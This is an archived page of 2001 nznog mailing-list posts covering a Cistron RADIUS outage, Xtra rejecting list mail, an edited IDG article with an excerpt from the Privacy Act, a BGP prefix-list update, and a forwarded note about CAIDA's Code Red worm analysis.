Anyone had any experience with cistron radius? I'm suffering some sort of major magic weridy problem, if anyone has any ideas. --- Matt Camp ---------- Forwarded message ---------- Date: Wed, 25 Jul 2001 17:24:51 +1200 (NZST) From: Matt Camp <gargoyle(a)noise.net.nz> To: cistron-radius(a)lists.cistron.nl Subject: Help! Cistron major failure in production! I run a network of 4 cistron 1.6.3 servers on FreeBSD machines. This afternoon, all 4 of them stopped responding. Its as like the radiusd process isn't running. Neither our lucent NAS gear, radtest, or the various people who have proxys pointed at our servers get any response at all. The server logs, and console when running in -xxx mode show that the server starts, and then is just waiting for connections. Every 5 minutes, i propagate a new raddb/users file out from a central host. This system has worked fine for around 18 months now. On _ONE_ of the servers, if i restart it (totally. Kill and restart radiusd), the log shows "Wed Jul 25 17:21:38 2001: Info: Starting - reading configuration files ...", then there is nothing for approximately 4 minutes, after which it appears to process all the requests that have been sent to it during that time. (of course, most of them actually fail in reality since the NAS has long since dropped the call). Then it will run fine, up until it detects a new users file, and reloads the config files, at which point its back into total non-responsiveness until i manually restart it. This only works on one server. The other 3 don't come back at all, even after a restart. ANd they're all on the same config. (Which i rsync to them after making a change) radtest tests from localhost which normally work fine just act exactly as if the radiusd process isn't even running. I've tried everything i can think of, including the microsoft approach of power-cycling all machines involved. Load averages are normal, disk space is fine. Heaps of memory available. File descriptor loads seem ok, in that there are only around 100 or so connections to each box in total. (for the other services they run) Any ideas? This is urgent... I've got thousands customers who can't log in right now. --- Matt Camp --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

7 8

xtra rejecting mail from mailing lists?
by Simon Blake 25 Jul '01

25 Jul '01

Hi folks I've got a mailing list on one of my servers that appears to have a bunch of xtra subscribers on it. Postings to the list get sent to about the first 10 xtra users, and then I start getting: Jul 25 21:49:03 wilbur qmail: 996054543.173139 delivery 2330: deferral: Connected_to_203.96.92.131_but_greeting_failed./Remote_host_said: _421_mta4-rme.xtra.co.nz_connection_refused_from_[203.97.152.50]/ It's a fairly unhelpful message from xtra, I assume it's some kind of antispam rate limiting thing - anybody know what they're up to? These things appear to get delivered later, since I've not had any grizzles about non delivery of mail (and there's nothing in the qmail queue). Cheers Si --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

9 13

RE: IDG article.
by David Buckingham 25 Jul '01

25 Jul '01

Privacy Act 1993 028 Commenced: 1 Jul 1993 VI: Codes of Practice and Exemptions from Information Privacy Principles Specific Exemptions 55 Certain personal information excluded 55. Certain personal information excluded---Nothing in principle 6 or principle 7 applies in respect of--- (a) Personal information in the course of transmission by post, telegram, cable, telex, facsimile transmission, electronic mail, or other similar means of communication; or (b) Evidence given or submissions made to--- (i) A Royal Commission; or (ii) A commission of inquiry appointed by an Order in Council made under the Commissions of Inquiry Act 1908,--- at any time before the report of the Royal Commission or commission of inquiry has been published or, in the case of evidence or submissions given or made in the course of a sitting open to the public, at any time before the Royal Commission or commission of inquiry has reported to the Governor-General; or (c) Evidence given or submissions made to a commission of inquiry or board of inquiry or court of inquiry or committee of inquiry appointed, pursuant to, and not by, any provision of an Act, to inquire into a specified matter; or (d) Information contained in any correspondence or communication that has taken place between the office of the Ombudsmen and any agency and that relates to any investigation conducted by an Ombudsman under the Ombudsmen Act 1975 or the Official Information Act 1982 or the Local Government Official Information and Meetings Act 1987, other than information that came into existence before the commencement of that investigation; or (e) Information contained in any correspondence or communication that has taken place between the office of the Commissioner and any agency and that relates to any investigation conducted by the Commissioner under this Act, other than information that came into existence before the commencement of that investigation. PRINCIPLE 6 Access to personal information (1) Where an agency holds personal information in such a way that it can readily be retrieved, the individual concerned shall be entitled--- (a) To obtain from the agency confirmation of whether or not the agency holds such personal information; and (b) To have access to that information. (2) Where, in accordance with subclause (1) (b) of this principle, an individual is given access to personal information, the individual shall be advised that, under principle 7, the individual may request the correction of that information. (3) The application of this principle is subject to the provisions of Parts IV and V of this Act. (This part is from section 6 of the act)... PRINCIPLE 7 Correction of personal information (1) Where an agency holds personal information, the individual concerned shall be entitled--- (a) To request correction of the information; and (b) To request that there be attached to the information a statement of the correction sought but not made. (2) An agency that holds personal information shall, if so requested by the individual concerned or on its own initiative, take such steps (if any) to correct that information as are, in the circumstances, reasonable to ensure that, having regard to the purposes for which the information may lawfully be used, the information is accurate, up to date, complete, and not misleading. (3) Where an agency that holds personal information is not willing to correct that information in accordance with a request by the individual concerned, the agency shall, if so requested by the individual concerned, take such steps (if any) as are reasonable in the circumstances to attach to the information, in such a manner that it will always be read with the information, any statement provided by that individual of the correction sought. (4) Where the agency has taken steps under subclause (2) or subclause (3) of this principle, the agency shall, if reasonably practicable, inform each person or body or agency to whom the personal information has been disclosed of those steps. (5) Where an agency receives a request made pursuant to subclause (1) of this principle, the agency shall inform the individual concerned of the action taken as a result of the request. -----Original Message----- From: owner-nznog(a)list.waikato.ac.nz [mailto:owner-nznog(a)list.waikato.ac.nz]On Behalf Of Greg Clare Sent: Thursday, 26 July 2001 1:23 p.m. To: nznog(a)list.waikato.ac.nz Subject: RE: IDG article. Does this mean that what was originally reported and quoted as having been said by someone, has now been edited and changed? Does this constitute creative reporting? By chance does the article include an addendum to state that it has since been edited due to people or terms being mis-quoted... for the archive of course ;) Greg > -----Original Message----- > From: Simon Lyall [mailto:simon.lyall(a)ihug.co.nz] > Sent: Thursday, 26 July 2001 12:46 pm > To: nznog(a)list.waikato.ac.nz > Subject: IDG article. > > > Looks like they have gone through and changed all the mentions of > "newsgroups" to "mailing list" and changed other stuff around. > > This includes the the stuff in quotes. > > -- > Simon Lyall. | Newsmaster | Work: > simon.lyall(a)ihug.co.nz > Senior Network/System Admin | Postmaster | Home: > simon(a)darkmere.gen.nz > ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

IDG article.
by Simon Lyall 25 Jul '01

25 Jul '01

Looks like they have gone through and changed all the mentions of "newsgroups" to "mailing list" and changed other stuff around. This includes the the stuff in quotes. -- Simon Lyall. | Newsmaster | Work: simon.lyall(a)ihug.co.nz Senior Network/System Admin | Postmaster | Home: simon(a)darkmere.gen.nz ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

RE: IDG article.
by Greg Clare 25 Jul '01

25 Jul '01

Does this mean that what was originally reported and quoted as having been said by someone, has now been edited and changed? Does this constitute creative reporting? By chance does the article include an addendum to state that it has since been edited due to people or terms being mis-quoted... for the archive of course ;) Greg > -----Original Message----- > From: Simon Lyall [mailto:simon.lyall(a)ihug.co.nz] > Sent: Thursday, 26 July 2001 12:46 pm > To: nznog(a)list.waikato.ac.nz > Subject: IDG article. > > > Looks like they have gone through and changed all the mentions of > "newsgroups" to "mailing list" and changed other stuff around. > > This includes the the stuff in quotes. > > -- > Simon Lyall. | Newsmaster | Work: > simon.lyall(a)ihug.co.nz > Senior Network/System Admin | Postmaster | Home: > simon(a)darkmere.gen.nz > ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

prefix list update
by James Tyson 25 Jul '01

25 Jul '01

Can all Attica's BGP peers please update their filters: ip prefix-list attica-networks seq 5 permit 202.180.96.0/19 ip prefix-list attica-networks seq 10 permit 202.180.64.0/18 le 19 ip prefix-list attica-networks seq 15 permit 210.55.254.0/24 ip prefix-list attica-networks seq 20 permit 210.55.5.0/24 ip prefix-list attica-networks seq 25 permit 202.50.170.0/24 ip prefix-list attica-networks seq 30 permit 202.55.111.0/24 Cheers. James Tyson --- Samizdat New Media Solutions --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 5

RE: xtra rejecting mail from mailing lists?
by Jeremy Clyma 25 Jul '01

25 Jul '01

At 08:17 26/07/2001 +1200, Tech Support wrote: > >On Wed, 25 Jul 2001, Simon Blake wrote: > >> I've got a mailing list on one of my servers that appears to have a > >> bunch of xtra subscribers on it. Postings to the list get sent to about > >> the first 10 xtra users, and then I start getting: > >I had someone come up to me with this too. > >Apparently when they rang up the helpdesk about it they were told > >it wasn't xtra's problem. All I did was suggest they forward the > >bounce to postmaster(a)xtra hoping someone does read email there. > > > >With the 2 examples I saw, it was bouncing emails sent to domains that > >were not hosted at xtra. However emails were sent by xtra customers > >using xtra's smtp server. One of them tried xtra's smtp server after > >they had a problem sending from their own in-house smtp server (thus > >eliminating perhaps a possible problem with their server). > > > >I'll try to get the actual bounce emailed to me. I think it said > >something about being unable to relay email > > > >Lin > >Hmmm, perhaps Xtra subscribe to ORBS, and have blacklisted their own >server..... ;) /sv_tui_ad Yeah. Right. Looks like its a transient error, one which could be caused by the backoff limits we've got in place. Simon, do you know how many concurrent smtp connections was your server attempting to open? --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Fwd: 'we should all be uncomfortable with the extent to which luck..' (fwd)
by n.brownlee＠auckland.ac.nz 25 Jul '01

25 Jul '01

Hello all: You might find this article interesting reading ... Cheers, Nevil ------------------------------------------------------------- Nevil Brownlee Internet Researcher Phone: (858) 534 8338 CAIDA, San Diego ---------- Forwarded message ---------- Date: Tue, 24 Jul 2001 22:35:37 -0700 From: k claffy <kc(a)caida.org> To: nanog(a)nanog.org Cc: caida(a)caida.org Subject: 'we should all be uncomfortable with the extent to which luck..' david moore's analysis of code red: episode 0/1 is at http://www.caida.org/analysis/security/code-red/ [funded by DARPA's ITO office NGI/NMS programs, NSF ANIR, and CAIDA members, david a caida PI] definitely check out jeff brown's animation at bottom; watch carefully around 15:00 for pretty ominous elbow in infection rate (get an epidemiologist to look at it without telling them what it is...) 360,000 machines (well, IP addresses) infected in under 14 hours. from conclusion: // ..in the final analysis, we should all be uncomfortable with the extent to which luck, rather than proactive diligence, maintains the stability of the Internet infrastructure. // it goes without saying that many hosts are still vulnerable. and will likely remain so (to this or the next poison) until our luck runs out. do we expect the next version to have the two weaknesses christopher pointed out today? do we expect the next version won't clear every 3rd bit on the hard drive? almost makes me wonder if some white hat might (should?) have been behind CodeRed as some 'vaccination' attempt. "The bad news is, nobody will do anything about critical infrastructure protection until there's a global catastrophic failure," said Rasch. The good news is, there will be a global catastrophic failure." -- http://www.nando.net/technology/story/44887p-694372c.html the worse news is: protecting 'critical infrastructure' is far from enough. again from http://www.caida.org/analysis/security/code-red/ This assault also demonstrates that machines operated by home users or small businesses (hosts less likely to be maintained by a professional sysadmin) are integral to the robustness of the global Internet. As is the case with biologically active pathogens, vulnerable hosts can and do put everyone at risk, regardless of the significance of their role in the population. fwiw, caida trying to do gentle survey of patching speed, see http://worm-security-survey.caida.org/ k ps: john maddog hall (linux int'l) had a great slide a few months ago at UCSD talk; upshot something like INSTALLED BASE (EARTH) + 20 million linux systems + 450 million gates licenses ==> 4.4 - 6.6 % of the population total ... world population: ~6B ==> 5.4 billion people haven't selected an OS yet [k: maybe we can get them on OS-antioxidants before it's too late] --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

RE: xtra rejecting mail from mailing lists?
by Tech Support 25 Jul '01

25 Jul '01

>On Wed, 25 Jul 2001, Simon Blake wrote: >> I've got a mailing list on one of my servers that appears to have a >> bunch of xtra subscribers on it. Postings to the list get sent to about >> the first 10 xtra users, and then I start getting: >I had someone come up to me with this too. >Apparently when they rang up the helpdesk about it they were told >it wasn't xtra's problem. All I did was suggest they forward the >bounce to postmaster(a)xtra hoping someone does read email there. > >With the 2 examples I saw, it was bouncing emails sent to domains that >were not hosted at xtra. However emails were sent by xtra customers >using xtra's smtp server. One of them tried xtra's smtp server after >they had a problem sending from their own in-house smtp server (thus >eliminating perhaps a possible problem with their server). > >I'll try to get the actual bounce emailed to me. I think it said >something about being unable to relay email > >Lin Hmmm, perhaps Xtra subscribe to ORBS, and have blacklisted their own server..... ;) Peter Gray Telstra Saturn Tech Support E-mail: tech(a)tsnz.net Phone: 0800 949 000 Fax: 04 922 8401 Website: www.netlink.net.nz PO Box 5358, Wellington, New Zealand "Smile," they said "things could be worse!" So I smiled, and things were worse.... --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0